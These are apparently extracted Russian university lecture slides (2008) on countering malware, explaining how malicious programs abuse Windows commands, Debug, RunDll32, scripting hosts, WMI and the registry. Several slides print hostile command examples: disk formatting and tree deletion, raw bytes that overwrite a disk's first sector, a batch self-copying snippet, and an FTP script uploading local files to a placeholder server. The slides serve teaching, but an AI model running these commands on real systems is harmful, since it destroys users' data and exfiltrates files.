close

Вход

Забыли?

вход по аккаунту

?

1331986_presentation

код для вставкиСкачать
ФЕДЕРАЛЬНОЕ АГЕНТСТВО ПО ОБРАЗОВАНИЮ
Государственное образовательное учреждение высшего профессионального образования
“Уральский государственный университет им. А.М. Горького”
ИОНЦ “Информационная безопасность”
математико-механический факультет
кафедра алгебры и дискретной математики
УЧЕБНО-МЕТОДИЧЕСКИЙ КОМПЛЕКС
Противодействие созданию и распространению
вредоносных программ
Автор: доцент кафедры алгебры и
дискретной математики В.В. Бакланов
Екатеринбург, 2008
ФЕДЕРАЛЬНОЕ АГЕНТСТВО ПО ОБРАЗОВАНИЮ
Государственное образовательное учреждение высшего профессионального образования
“Уральский государственный университет им. А.М. Горького”
ИОНЦ “Информационная безопасность”
математико-механический факультет
кафедра алгебры и дискретной математики
УЧЕБНО-МЕТОДИЧЕСКИЙ КОМПЛЕКС
Противодействие созданию и распространению
вредоносных программ
АРСЕНАЛ ВРЕДОНОСНЫХ ПРОГРАММ
Автор: доцент кафедры алгебры и
дискретной математики В.В. Бакланов
Екатеринбург, 2008
Программный
«арсенал»
современных
компьютерных
систем...
© Бакланов В.В.
... или как вредоносные
программы могут использовать
программные ресурсы
атакуемого компьютера
Компьютер является
универсальным
программноуправляемым
устройством
Поддержание функций по созданию,
отладке и исполнению программ
(приложений) является важнейшей
задачей операционной системы
Интерфейс программиста
Операционная система в
интересах прикладных
программ содержит в себе
несколько тысяч
библиотечных функций,
Win 32API, WinSocket,
которые составляют
интерфейс прикладного Perl, Java, JavaScript,
JScript, VBScript,
программирования (API COM, COM+, WMI...
Application Programming
Interface)
Операционная система является
самой опасной программой,
поскольку ее возможности
позволяют делать с
компьютерной системой и
информацией все, что угодно
Вредоносные
программы должны
быть короткими.
Поэтому они
максимально
используют в своих
целях программный
код операционной
системы и иных
приложений
Использование
стандартных команд и
командных файлов
Использование стандартных
команд Windows (MS DOS) на базе
командной строки
• Командные оболочки Command.com, Cmd.exe
и вспомогательные утилиты присутствуют в
операционных системах всегда
• С помощью командных файлов .bat и .cmd
решаются многие вопросы системного
администрирования
• Использование стандартных команд ОС не
требует никаких дополнительных средств,
кроме простого текстового редактора
Возможности стандартных команд
Windows (MS DOS)
• Работа с файловой системой
• Поиск, сортировка и сравнение содержимого
файлов
• Запуск программ, работа с переменными
среды и параметрами командной строки
• Перенаправление ввода-вывода
• Работа с сетевыми ресурсами
• Регистрация пользователей и разграничение
их полномочий и др.
Использование стандартных
команд Windows (MS DOS) на базе
командной строки
• Вызов стандартных команд ОС имеет много
вариантов как для интерактивного режима,
так и для программного вызова
• Для выполнения достаточно простых
деструктивных или «шпионских» функций
таких возможностей программирования
вполне достаточно
Использование «внутренних»
команд Сommand.com и Cmd.exe
• Командные оболочки Windows * с
избытком содержат команды,
позволяющие копировать,
модифицировать и удалять компьютерную
информацию на уровне файлов и
каталогов (объективная часть
преступления по ст. 273 УК)
• copy, del, ren, rmdir и др.
Деструктивные возможности
стандартных команд
• Форматирование жесткого магнитного
диска
• Логическая разметка жесткого диска
• Удаление дерева каталогов (файловой
системы)
• Удаление файлов и каталогов с
использованием «джокеров» и др.
Потенциально опасные
программы
•
•
•
•
•
Format.com
Fdisk.exe
Debug.exe
Deltree.exe
Regedit.exe
Вызов опасных функций в
командной строке
• format c: /u/autotest >nul
• deltree /y c: >nul
• fdisk /FPRMT:size disk - создание основного
раздела FAT32
• web /ch/cud/ha - запуск DrWeb в командной строке (CH - не проверять целостность
собственного программного кода, CUD удаление инфицированных файлов, HA эвристический анализ файлов)
Команды, обеспечивающие
поиск и копирование данных
• Dir C:\ /A:D/S >a:\Dir_1.txt - вывод в файл на ГМД списка
каталогов и подкаталогов
• Dir c:\*.doc /s/b/v >A:\123.txt - вывод в файл на ГМД
«длинных» имен документов Word с расширенными
сведениями о файлах
• Copy "d:\Windows\Application
Data\Microsoft\Шаблоны\Normal.dot" a:\ - копирование
шаблона Normal.dot
• Findstr /B/E/L/C:строка /R/S/I/X файлы > a:\ - поиск
ключевых слов в файлах с использованием регулярных
выражений
• For % переменная IN (набор) DO команда [параметры] поиск нужной строки в группе файлов
Команды, обеспечивающие
вирусное заражение
• copy %0 %1 (%0 - имя выполняемого
пакетного файла, %1 - первый параметр
командной строки).
• Пример: abcd.bat efgh.bat
• @ECHO OFF
• COPY 0.BAT C:\Q.COM >NUL
• C:\Q
Некоторые возможности
команды ECHO
• ECHO ^L >PRN - посылка символа
прогона на принтер
• ECHO y|DEL *.* - удаление всех файлов в
текущем каталоге без предупреждения
• ECHO ATDT номер_телефона >COM2 соединение по телефону из командной
строки (модем подключен к порту COM2)
Недостатки обычных
командных файлов
• Использование режима командной строки
предусматривает открытие «Сеанса MS
DOS», что демаскирует вредоносную программу, вызвавшую стандартную команду
• Язык командных файлов не является
полноценным языком программирования
• Доступ к устройствам и манипуляция ими
на данном уровне не предусматривается
Компьютер - аппаратный
интерпретатор
• На заре
программирования
управление
компьютером
осуществлялось на
уровне машинного
кода...
Пример создания программы
• Открыть «Сеанс MS DOS»
• Ввести copy con file_name.com
• Alt-ввод: #176, #75, #230, #97,
#195 (всего 5 байт)
• F6 или Ctrl+Z
• Enter
• Запустить созданный
файл
Перезапись первого сектора HDD
через прерывание BIOS
• #184 #1 #2 #254 #196 #185 #1 #1 #254
#205 #138 #254 #178 #128 #187 #4 #1
#254 G #17 #205 #18 #195
Через Alt-ввод
нельзя ввести
десятичные цифры
0,3,6,8,16,19,27,255
«Работа»
вредоносных
программ с
интерактивными
приложениями
Интерфейс пользователя
• Интерфейс пользователя - это
удобный для человека способ
управления компьютером с
помощью набора готовых
программ, включая
возможности их запуска и
получения результатов
• Три варианта интерфейса:
командная строка, текстовое
меню и графический
интерфейс (GUI)
Требования к
пользовательскому интерфейсу
• Наглядность
• Отображение ввода (делаешь - видишь
результат)
• Возможность исправить допущенную
ошибку (не ошибается тот, кто ничего не
делает)
• Предупреждение об опасных командах
(пользователь может быть
некомпетентным, невнимательным и др.)
Работа в режиме командной
строки с утилитами ОС
• Использование узкоспециализированных
утилит и сервисных программ
операционной системы значительно
повышает функциональность вредоносной
программы
• Некоторые утилиты предусматривают
документированные или скрытые
возможности управления через командную
строку
Шифрование файлов с помощью
утилиты Cipher.exe
• CIPHER параметры директория
/A - выполнить команду для всех файлов
/E - выполнить шифрование
/D - выполнить дешифрование
/K - создать новый ключ шифрования
/I - игнорировать ошибки
/Q - выполнять в фоновом режиме
/H - шифровать системные и скрытые файлы
/S - выполнить команду в отношении файлов и
подкаталогов
Логическая разметка диска
• FDISK параметры
/ACTOK - пропустить проверку
целостности
/EXT:size disk - создать дополнительный
раздел
/LOG:size - создать логический раздел
/MBR - создать новую загрузочную запись
/PRI:size disk - создать основной раздел
/STATUS - вывести информацию о текущих
разделах
Работа с редактором реестра
regedit.exe
• Запуск файла с расширением .key или .reg импорт в реестр соответствующего раздела
• regedit file_name - импорт файла в реестр
(файл с произвольным расширением)
• regedit /D reg_path - удаление раздела
реестра
• regedit /E file_name reg_path - экспорт
раздела реестра в файл
Работа в режиме командной
строки с утилитами ОС
• C:\Windows\Regedit.exe /e A:\456.reg
HKEY_CURRENT_USER\SOFTWARE\Mic
rosoft\Windows\CurrentVersion\ - пример
копирования в файл определенного ключа
реестра
Работа с редактором реестра
regedit.exe
Экспорт в реестр файла сопровождается
запросом, поскольку может быть связан с
разрушением системных данных
Сканирование диска
• scandskw.exe (с библиотекой diskmaint.dll)
• drive: - диск, который необходимо проверить
• /allfixeddisks - проверка всех локальных
дисков
• /noninteractive - проверка без диалога с
пользователем
• /oldnfs - удаление длинных имен файлов
(необратимое!)
• /silent - не выводить окно с результатами
проверки
FTP-передача
ftp -n -s:ftpscript >nul
OPEN ftpserver ‘FTP-сервер
Username
Password
CD ftpdirectory ‘Переход в указанный каталог
удаленной системы
LCD filedirectory ‘Переход в указанный каталог
локальной системы
MPUT files ‘Пересылка локальных файлов на
удаленную систему
BYE ‘Конец сеанса
Сбор сведений об оборудовании
• Утилиты msinfo32.exe и winmsd.exe
• msinfo32 /commands - команда
• /categories +/- name - показывать (+) или
нет (-) указанную категорию
• /computer name - подключиться к
указанному компьютеру
• /NFO file - направить вывод в NFO-файл
• /REPORT file - генерировать отчет в
указанном файле
Большинство
программных
приложений Windows *,
обладающих
необходимой для
вредоносных программ
функциональностью,
созданы для работы в
интерактивном режиме и
не предусматривают
управления через
командную строку
Интерактивный режим
• Обеспечивает диалог «человекмашина»
• Позволяет программе уточнить
команду, послать пользователю
перезапрос при очевидной
опасности его действий и др.
• Создает известные преграды для
распространения и использования
вредоносных программ (некоторые
способы управления приложениями
из командной строки специально не
документируются)
Диалог пользователя с программной оболочкой
• Вы уверены, что хотите удалить
папку D:\TEMP ?
• Да.
• В этой папке находятся файлы. Вы
уверены, что хотите их удалить?
• Да !
• Удаление этих файлов может
повлиять на зарегистрированные
программы. Вы все еще уверены ?
• Да! Да! Да!!!
• Эти файлы могут использоваться
системой. Вы уверены?
• Пошла ты на $$й ! - заорал админ, и
нажал Cancel.
• Ага! Испугался! - подумала NT.
Для запуска и
управления
программами с
интерактивным
интерфейсом
приходится эмулировать
действия пользователя
(имитация
клавиатурного и
манипуляторного ввода)
Эмуляция клавиатурного ввода
от имени пользователя
• Перед выполнением каких-либо опасных
действий ОС запрограммирована на
дополнительный запрос пользователю:
подтверждает ли он ранее отданную
команду
• В некоторых случаях «подтверждение»
можно передать заранее в параметрах
командной строки
• deltree /y c:\
• format c: /u/autotest
Автоматический ответ на запрос
через командный файл
• Echo Y >Yes ‘ создание текстового файла
Yes с ответом Y
• process <Yes ‘ имитация ввода Y с
клавиатуры путем подачи файла Yes на
стандартный ввод запущенного процесса
• DEL Yes ‘ удаление вспомогательного
файла
(Б.Богумирский. Руководство пользователя
ПЭВМ, ч.1, стр. 311)
Автоматический ответ на запрос
через командный файл
• ECHO Y|process ‘запуск процесса с
автоматической передачей
утвердительного ответа на запрос
(Б.Богумирский. Руководство пользователя
ПЭВМ, ч.1, стр. 311)
Имитация нажатия клавиш с помощью
метода WScript.SendKeys
Имитация управления калькулятором
Dim Wsh
Set Wsh=Wscript.CreateObject(“Wscript.Shell”)
Wsh.Run(“Calc.exe”,1)
Wsh.Sleep(500)
Wsh.SendKeys(“10”)
Wsh.SendKeys(“{+}”)
Wsh.SendKeys(“2”)
Wsh.SendKeys(“=”)
Апплеты Control Panel
• Запуск приложений панели управления
Set S=CreateObject(“Shell.Application”)
S.ControlPanelItem “applet.cpl”
• Control.exe applet.cpl
• Путем запуска приложений панели
управления можно производить
разнообразные «настройки» путем
имитации клавиатурного ввода в
открытые окна
Модули Control Panel
•
•
•
•
•
•
•
•
•
Control.exe main.cpl, @name, index
Appwiz.cpl, name - н/п, ind=0...3
Desk.cpl, name - н/п, ind=0...3
Intl.cpl, name - н/п, ind=0...4
Main.cpl, name - 0...5, ind=0...5
Mmsys.cpl, name - 0-1, ind=0...2
Sysdm.cpl, name - н/п, ind=0...3
Timedate.cpl, name - н/п, ind=0...1
Запятая после отсутствующего имени
сохраняется
Основные возможности
отладчика Debug
• Ввод, редактирование и исполнение
ассемблерного кода
• Дизассемблирование
• Трассировка программ, отладка и
модификация исполняемого кода
• Непосредственный доступ к портам вводавывода
• Запись/чтение данных из секторов
дисковой памяти
Возможности отладчика Debug
– f 200 l100 “abc” - заполнить
повторяющимися строками “abc” область
оперативной памяти длиной 256 (100h)
байт, начиная со смещения 200h
– d 200 l100 - вывести дамп оперативной
памяти длиной 100h, начиная с 200h
– w 100 0 15 10 - записать содержимое
оперативной памяти, начиная со смещения
100h, на дискету в дисководе A:\ в сектора с
15 по 25-й включительно
Работа с регистрами УВВ
–
–
–
–
–
–
–
–
o номер_порта (h) данные (h)
o 64 AD - блокирование клавиатуры
о 70 2Е
о 71 2Е - сброс CRC CMOS-памяти
о 61 4B - непрерывный звуковой сигнал
о 61 48 - сброс звукового сигнала
о 3f2 1C - включение двигателя НГМД
о 3а2 С - выключение двигателя НГМД
Программное управление
отладчиком Debug
• Создается вспомогательный текстовый
файл с любым именем и расширением в
стандарте MS DOS (abcd.txt)
• В файл построчно записываются команды
отладчику, каждая из которых завершается
Enter
• Создается командный файл (.bat или .cmd),
содержащий строку
debug <abcd.txt >nul
Работа из Debug с дисковой памятью
f 100 l200 "1"
w 100 0 1 1
f 100 l200 "2"
w 100 0 2 1
f 100 l200 "3"
w 100 0 3 1
f 100 l200 "4"
w 100 0 4 1
q
При считывании и
построчном исполнении
команд Debug запишет в
4 первых сектора ГМД
последовательность
цифр, представляющих
порядковые номера
секторов
Недостатки отладчика Debug
• С точки зрения возможности использования другими программами ценность
отладчика в упрощенной работе с
регистрами УВВ и секторами дисковой
памяти
• Отладчику доступна лишь адресуемая
память в пределах 1 Мб
• Отладчик предназначен для работы в
интерактивном режиме
• Использование Debug в ОС Windows 2k, XP
проблематично, хотя он там имеется
Библиотечный
код
операционной
системы
DLL (Dynamic Link Libraries) динамически подключаемые
библиотеки
• Набор вызываемых подпрограмм,
включенных в один двоичный файл,
которые приложения могут динамически
загружать в процессе своего выполнения.
• Каждую функцию можно вызвать по
имени или по порядковому номеру внутри
модуля
• Обычно .dll файлы не изменяются (для
совместимости с приложениями)
DLL (Dynamic Link Libraries) динамически подключаемые
библиотеки
• Зная нужную функцию, можно вызвать ее
по имени, номеру или путем задания
известного адреса (смещения от начала
файла)
• Из нескольких тысяч API-функций
вредоносные программам необходимы
всего несколько десятков
• Вызов функций через RunDll32.exe
является самым коротким
Возможности программы
RUNDLL32.EXE
Программа является 32-битной утилитой, позволяющей
вызывать функции из файлов динамических библиотек и
принимать от них их вызовы. Имеется возможность вставлять
вызовы функций в сценарии. В принципе через программу
RUNDLL32.EXE можно обратиться к любой DLL WINDOWS.
Следует помнить, что имена функций, экспортируемые из
библиотеки, чувствительны к регистру букв. С помощью
утилиты нельзя передать аргументы в вызываемую функцию
Win32 API. Однако есть несколько исключений, позволяющих
с помощью RUNDLL32.EXE вызывать другие функции и
передавать аргументы через командную строку. Эти функции
(такие как SHExitWindowsEx) анализируют командную строку
и выбирают из нее аргументы.
Возможности программы RUNDLL32.EXE
Завершение работы Windows rundll32
user.exe,ExitWindows.
Перезагрузка Windows rundll32
user.exe,ExitWindowsExec
Безоговорочное, незамедлительное завершение
работы Windows rundll32 krnl386.exe,exitkernel
Перезагрузка Explorer (Windows 98)
rundll32 shell32,SHExitWindowsEx -1
Имитация сбоя системы (черный экран и
мигающий курсор) rundll32 user,disableoemlayer
Возможности программы RUNDLL32.EXE
Обновление экрана rundll32 user,RepaintScreen
Смена клавиш мыши (работает только в одну
сторону) rundll32 user,SwapMouseButton
Отключение клавиатуры (до перезагрузки)
rundll32 keyboard,disable
Отключение мыши (до перезагрузки)
rundll32 mouse,disable
Выход в Интернет rundll32.exe rnaui.dll, RnaDial
“Имя соединения»
Варианты вызова API-функций
из различных приложений
• WScript.CreateObject("WScript.Shell").Run
"RunDll32.exe Shell32.dll,SHExitWindowsEx
0x0» - из VBS
• X= Shell ("RunDll32.exe
Shell32.dll,SHExitWindowsEx 0x0», 0) - из VBA
• RunDll32.exe Shell32.dll,SHExitWindowsEx 0x0
- из окна «Run», командной строки ярлыка,
окна «Сеанс MS DOS», командной строки
Norton Commander, Windows Commander, Far,
адресной строки панели задач
Реализация
вредоносных программ
в форме сценариев
Windows Scripting Host
Скрипт - текстовый файл, содержащий инструкции, понятные
командному интерпретатору
•
•
•
•
VBE
Internet Explorer
Wscript
Command.com
.bat .js
.vbs
.bas
.html
Достоинства сценариев WSH
• Использование простых языков
программирования Microsoft Visual Basic
Script Edition и Microsoft Jscript
• Применение широкого класса объектов
ActiveX, зарегистрированных в системе
• Возможности сценариев ограничены
только средствами, представляемыми
доступными серверами автоматизации
Можно ли создать «безвредный»
язык программирования?
Операторы языков VBS
и Jscript не позволяют
непосредственно обращаться к файловой
системе, системному
реестру, устройствам
Иерархия объектов Internet Explorer
window
document
form
plugin
history
applet
location
anchor
area
frame
image
link
layer
textarea
reset
text
radio
fileUpload
checkbox
plugin
button
mimetype
password
navigator
hidden
select
submit
option
Методы создания ссылок на объекты
Set fso =
Wscript.CreateObject(“Scripting.FileSystemObject”)
- при создании объекта и организации для него
обработки событий
Set WSHShell = WScript.GetObject(“WScript.Shell”) при наличии текущего экземпляра объекта или
его создании из уже загруженного файла
Set oIE =
CreateObject(“InternetExplorer.Application”) встроенный в VBScript метод создания объектов
без возможности обработки событий
Создание и освобождение
объектов
•
•
•
•
Set Obj = Wscript.CreateObject(«ProgID»)
var Obj = Wscript.CreateObject(«ProgID»);
ProgID = ИмяБиблиотекиТипов.ИмяКласса
Программный идентификатор ProgID
позволяет загружать объект с помощью
записей реестра
Создание объектов
• Встречая инструкцию CreateObject,
интерпретатор обращается к системному
реестру (ключ HKCR), находит ProgID,
соответствующий ему идентификатор
класса CLSID, а затем - полное имя (адрес)
сервера автоматизации (библиотеки).
• Экземпляр объекта загружается в память
процесса, и его интерфейс (пространство
объектов, свойств и методов) становится
доступным интерпретатору
Создание объектов
• При создании объекта методами
CreateObject и GetObject он загружается в
память и остается соединенным с WSH до
завершения сценария.
Освобождение объектов
• Wscript.DisconnectObject Имя_объекта отсоединение объекта от процедуры
обработки событий во время работы
сценария
• Имя_объекта = Nothing - сброс значения
объектной переменной в VBScript
• WScript.Quit - завершение сценария (после
интерпретации последней строчки
сценария процесс завершается
автоматически)
Некоторые серверы сценариев
• Scripting.FileSystemObject исчерпывающие возможности работы с
файловой системой
• WScript.Shell - работа с реестром,
переменными окружения, ярлыками и др.
• Shell.Explorer - Web-браузер Microsoft
«Автоматизация» объектовприложений
Set variable = CreateObject(“object.Application”)
•
•
•
•
•
•
•
Access.Application
Outlook.Application
Word.Application
InternetExplorer.Application
Shell.Application - «автоматизация» ядра
PowerPoint.Application
Excel.Application
Variable.Visible = False (по умолчанию)
Variable.Quit
Cсылка на сервер автоматизации
из HTML - документа
<OBJECT ID=cmd1
classid = “clsid:8E27C92B-1264-101C-8A2F040224009C02”
codebase =
“http://bhv.spb.ru/ActiveX/advert32.cab”>
<OBJECT>
Вызов системных диалоговых
окон
Set S = CreateObject(“Shell.Application”)
S.SysDialog, где SysDialog может быть:
• FileRun - окно «Пуск» - «Выполнить»
• FindFiles - окно «Пуск» - «Найти» «Файлы и папки»
• ShutdownWindows - окно «Пуск» «Завершение работы»
Вызов системных диалоговых
окон
Option Explicit
Dim Shell, wsh
Set wsh = WScript.CreateObject ("WScript.Shell")
Set Shell = WScript.CreateObject ("Shell.Application")
• Shell.FileRun ‘ «Пуск» - «Выполнить»
• Shell.FindFiles ‘«Пуск» - «Найти»- «Файлы и папки»
• Shell.FindComputer ‘«Пуск»-«Найти»- «Компьютер»
• Shell.SetTime ‘ окно «Дата/время»
• Shell.Suspend ‘ режим энергосбережения
• Shell.ShutdownWindows ‘ «Пуск» - «Завершение
работы»
Пример копирования ГМД
Option Explicit
Dim WshObj
Set WshObj=WScript.CreateObject
("WScript.Shell")
WshObj.Run "RunDll32.exe
DiskCopy.dll,DiskCopyRunDll",1,True
WScript.Quit
Варианты выключения
компьютера
Option Explicit
Dim obj
Set obj = WScript.CreateObject("WScript.Shell")
• obj.Run "RunDll32.exe Shell32.dll,SHExitWindowsEx 0x0"
• obj.Run "RunDll32.exe Shell32.dll,SHExitWindowsEx 0x01"
• obj.Run "RunDll32.exe Shell32.dll,SHExitWindowsEx 0x02"
По сути WMI
представляет собой
универсальную среду
удаленного
администрирования,
которая при
необходимости может
быть использована в
качестве «хакерской»
программы
Общие сведения о WMI
• WBEM (Web-Based Enterprise Management концепция управления предприятием на
основе Web-интерфейса)
• WMI (Windows Management
Instrumentation) - программная реализация
WBEM от Microsoft
• Управляемым объектом может быть любое
устройство, программное приложение или
функция операционной системы
Управление с помощью WMI
•В Windows 2k функционирование WMI
обеспечивает программа winmgmt.exe. Она
перехватывает вызовы к WMI от
приложений и сценариев и пересылает их
диспетчеру объектов CIM (Common
Information Model)
•В Windows XP запуск команд и командных
файлов обеспечивается с помощью утилиты
wmic.exe
Подключение WMI-объекта к
сценарию
Set Obj =
GetObject(“winmgmts:{impersonationLevel=imperson
ate}!\\computer\root\namespace”).ExecQuery(WQL)
•Инструкция {impersonationLevel=impersonate}!
позволяет выполнить сценарий не пользователю, а
постороннему лицу (администратору)
•computer - имя компьютера, на котором будет
выполняться сценарий
•\root\namespace - подключаемое пространство имен
(cimv2, default, security и др.)
•WQL (WMI Query Language) - язык, подобный
структурному языку запросов SQL
Подключение WMI-объекта к
сценарию
•ExecQuery(“select свойство/метод from класс”) для управления устройствами, процессами,
объектами
•ExecNotificationQuery(“select свойство/метод from
класс”) - для обнаружения изменений экземпляра
класса (наблюдение за событиями)
Примеры классов устройств
•
•
•
•
•
•
•
•
•
Win32_Battery - батареи питания ноутбука
Win32_BIOS - сведения о BIOS
Win32_CDROMDrive - CD ROM
Win32_LogicalDisk -логические диски
Win32_LogicalMemoryConfiguration - ОЗУ
Win32_POTSModem - модем
Win32_DesktopMonitor - монитор
Win32_PointingDevice - мышь
Win32_NetworkAdapter - сетевой адаптер
Примеры использования WMI
• Set Info =
GetObject(«winmgmts:»).InstancesOf(«Win32
_class»).Property - получение информации
об оборудовании локального компьютера
(краткая форма команды)
Set BIOS =
GetObject(«winmgmts:»).InstancesOf(«Win32
_BIOS”)
Wscript.Echo «Name:» & BIOS.Name & VBlf
& «Status:» & BIOS.Status ‘ и так далее
Примеры использования WMI
Set CD =
GetObject(«winmgmts:»).InstancesOf(«Win32_
CDROMDrive»)
Wscript.Echo «Name:» & CD.Name & VBlf &
«Status:» & CD.Status & VBlf & “Drive:” &
CD.Drive
Пример запуска и завершения
процесса на удаленном компьютере
Dim oWMI, oProc, oInstance, oWShell,Machine, result, procID
Machine = "//Rom"
Set oWMI = GetObject("winmgmts:{impersonationLevel=
impersonate}!" & Machine & "/root/CIMV2:Win32_Process")
result = oWMI.Create ("Notepad.exe", null, null,procID)
Set oWShell = WScript.CreateObject ("WScript.Shell")
oWShell.AppActivate procID ' set focus to process
Set oProc = GetObject("winmgmts:{impersonationLevel=
impersonate}!" & Machine).ExecQuery ("Select * from
Win32_Process " & "Where ProcessID =" & procID)
oProc.Terminate 0
WScript.Quit
‘Гюнтер Борн
Для подключения к WMI на
локальном или удаленном
компьютере пользователь
должен иметь
соответствующие права. По
умолчанию все члены группы
«Администраторы» имеют
полный доступ к службам WMI
на управляемом компьютере, а
все остальные - права чтения,
записи и исполнения на своих
локальных компьютерах
WMIC позволяет :
• Работать с локальным компьютером,
удаленными компьютерами или выполнять
команды сразу для нескольких компьютеров;
• Управлять различными аппаратными
компонентами, подсистемами операционной
системы и прикладными системами.
• WMIC можно использовать с любого
компьютера, на котором включена WMIC, для
удаленного управления любым компьютером с
WMI. Наличие WMIC на удаленно управляемом
компьютере необязательно.
Атака на системный реестр
• Доступ к базе данных через редактор
Regedit.exe
• Запуск .reg-файлов
• Запуск Regedit.exe в командной строке
• Копирование и подмена файлов
System.dat и User.dat
• Обращение к реестру с
использованием серверов сценариев
Цели атаки на реестр
• Включение посторонних программ в
«цепочку» системной автозагрузки (Run,
RunOnce, RunServices, RunServicesOnce)
• Изменение очередности или отмена запуска
системных и антивирусных программ
• Изменение настроек, принятых «по
умолчанию»
• Деструктивные действия и «шутки»
ФЕДЕРАЛЬНОЕ АГЕНТСТВО ПО ОБРАЗОВАНИЮ
Государственное образовательное учреждение высшего профессионального образования
“Уральский государственный университет им. А.М. Горького”
ИОНЦ “Информационная безопасность”
математико-механический факультет
кафедра алгебры и дискретной математики
УЧЕБНО-МЕТОДИЧЕСКИЙ КОМПЛЕКС
Противодействие созданию и распространению
вредоносных программ
Классификация и общая характеристика
вредоносных программ
Автор: доцент кафедры алгебры и
дискретной математики В.В. Бакланов
Екатеринбург, 2008
Классификация
и общая
характеристика
вредоносных
программ
© Бакланов В.В., 2008
Литература:
• Программно-аппаратные средства обеспечения
информационной безопасности. Защита программ и
данных: Учеб. пособие для вузов/П.Ю.Белкин,
О.О.Михальский, А.С.Першаков и др. -М.: Радио и
связь, 1999. 168 с.
• Касперский Е.В. Компьютерные вирусы: что это
такое и как с ними бороться. - М.: СК Пресс, 1998.
288с.
• И.Гульев Компьютерные вирусы, взгляд изнутри.
М.: ДМК, 1998. 304 с.
• Д.А.Козлов, А.А.Парандовский, А.К.Парандовский.
Энциклопедия компьютерных вирусов. «СОЛОН-Р»,
2001
• Соловьев Л.Н. Вредоносные программы:
расследование и предупреждение преступлений. М.:
Собрание, 2004. 224 с.
Литература:
• Расторгуев С.П. Инфицирование как способ защиты
жизни. Вирусы: биологические, социальные,
психические, компьютерные. М.: Издательство
Агентства «Яхтсмен», -1996. -336 с.
• Касперски К. Записки исследователя компьютерных
вирусов. СПб.: Питер, 2005. -316 с.
• Касперски К. Компьютерные вирусы изнутри и
снаружи. СПб.: Питер, 2006. 527 с.
• Бакланов В.В. Опасная компьютерная информация /
В.В. Бакланов, М.Э. Пономарев. Екатеринбург: ГОУ
ВПО «Уральский госуниверситет», 2008. 128 с.
Путем перехвата
управления можно
“заставить”
компьютер
выполнить действия
против интересов его
владельца
(пользователя)
У пользователя может
создаться иллюзия, что
это он управляет
работой компьютера.
На самом деле
компьютером
управляют сотни
программ, о
существовании
которых пользователь
даже и не
догадывается
Список процессов в ОС Linux
S
S
S
S
S
S
S
S
S
S
S
S
S
S
S
S
S
S
S
S
S
S
S
S
S
S
S
UID
0
0
0
0
0
0
0
0
0
0
0
32
0
51
0
0
0
43
0
0
0
0
0
0
0
0
PID PPID C PRI NI
1
0 0 24
2
1 0 24
3
1 0
5
8
1 0 14
4
1 0 24
5
1 0 24
10
1 0 14
19
1 0 24
71
1 0 14
647
1 0 24
651
1 0 24
663
1 0 24
768
1 0 24
777
1 0 14
787
1 0 24
796
1 0 24
807
1 0 24
889
1 0 24
898
1 0
0
912
1 0 24
917
1 0 17
918
912 0 17
968
918 0 19
981
968 0 24
997
981 0 24
1008
1 0 24
TIME CMD
0 00:00:04
0 00:00:00
19 00:00:00
0 00:00:00
0 00:00:00
0 00:00:00
0 00:00:00
0 00:00:00
0 00:00:00
0 00:00:00
0 00:00:00
0 00:00:00
0 00:00:00
0 00:00:00
0 00:00:00
0 00:00:00
0 00:00:00
0 00:00:00
19 00:00:00
0 00:00:00
0 00:00:00
0 00:00:00
0 00:00:00
0 00:00:00
0 00:00:00
0 00:00:00
init
[keventd]
[ksoftirqd_CPU0]
[bdflush]
[kswapd]
[kscand/DMA]
[mdrecoveryd]
[kjournald]
[khubd]
syslogd -m 0
klogd -x
[portmap]
[sendmail]
[sendmail]
gpm -t imps2 -m /dev/psaux
crond
cupsd
[xfs]
anacron -s
login -- root
/sbin/mingetty tty6
/bin/sh /usr/X11R6/bin/startx
xinit /etc/X11/xinit/xinitrc -/usr/bin/gnome-session
ssh-agent /etc/X11/xinit/Xclients
/usr/libexec/gconfd-2 11
Вредоносные программы
• Программы, «заведомо
приводящие к
несанкционированному
уничтожению, блокированию
модификации либо
копированию информации,
нарушению работы ЭВМ,
системы ЭВМ или их сети»
ст. 273 УК РФ
Обязательные условия
вредоносности
• Отсутствие явного
предварительного уведомления
собственника информации
(добросовестного пользователя)
о действиях программы и их
возможных последствиях
• (или) действие программы без
явного согласия (санкции)
собственника информации
(добросовестного пользователя)
Основные разновидности
компьютерных программ
• Исполняемый файл - основная программа в
двоичном коде, которая содержит инструкции на
языке центрального процессора.
• Макрос - укрупненная последовательность команд,
автоматизирующая выполнение каких-либо
повторяющихся операций
• Скрипт или сценарий - последовательность команд
на языке символов, подлежащая анализу и
выполнению с помощью командного
интерпретатора.
• Библиотека - набор программных инструкций для
выполнения стандартных операций
Некоторые потенциально
опасные файлы в ОС Windows *
•
•
•
•
•
•
•
Файлы приложений (*.exe, *.com, *.scr, *.cpl)
Прочие бинарные файлы (*.sys, *.drv, *.ocx, *.dll)
Командные файлы (*.cmd, *.bat)
Файлы символьных связей (*.lnk, *.pif, *.url)
Файлы сценариев (*.js, *.vbs, *.pls, *.wsh)
Импорт реестра (*.reg, *.key)
Документы и шаблоны (*.doc, *.docm, *.dot, *.dotm,
*.wbk, *.asd, *.dothtml, *.xls, *.xlw, *.ppt, *.pps и др.)
• Гипертекстовые документы (*.html, *.xml, *.dhtml,
*.htm, *.htt, *.hta, *.chm) и другие
Разновидности вредоносных
программ
•
•
•
•
•
•
•
•
•
•
•
Обычные файловые вирусы
Загрузочные вирусы
Макровирусы
Генераторы вирусов
Сетевые «черви»
Программы «удаленного администрирования»
Программные закладки
«Троянские» оболочки (условно вредоносные)
«Логические бомбы»
«Жадные» программы
Программы - «глюки» (условно вредоносные)
Классификация
вредоносных
программ по
выполняемым
действиям
Удаление компьютерной
информации — это процесс
физического стирания с
машинного носителя
последнего экземпляра
данных (файла) при
невозможности
восстановления удаленной
информации доступными
пользователю
программными средствами
компьютерной системы.
Вредоносным блокированием
компьютерной информации
называются преднамеренные
действия, заведомо приводящие
к кратковременному или
длительному затруднению
доступа пользователя к
данным, доступ к которым ему
разрешен в соответствии с
реализованной политикой
безопасности.
Заблокированные данные не
уничтожаются, не изменяются
и не становятся известными
другим людям.
Виды вредоносного блокирования КИ
• Блокирование доступа в компьютерную систему на
уровне базовой системы ввода-вывода (BIOS).
• Блокирование или уничтожение учетной записи
пользователя
• Лишение пользователя прав на доступ к его
собственному каталогу, подкаталогам или отдельным
файлам.
• Повреждение заголовка или служебного раздела файла
со сложным форматом
• Стирание хотя бы одного служебного сектора
магнитного диска, после чего диск не загружается, не
читается или объявляется неформатированным.
Модификация
компьютерной
информации –
это внесение в нее любых
изменений, кроме связанных с
адаптацией программы для
ЭВМ или базы данных
Виды вредоносной модификации
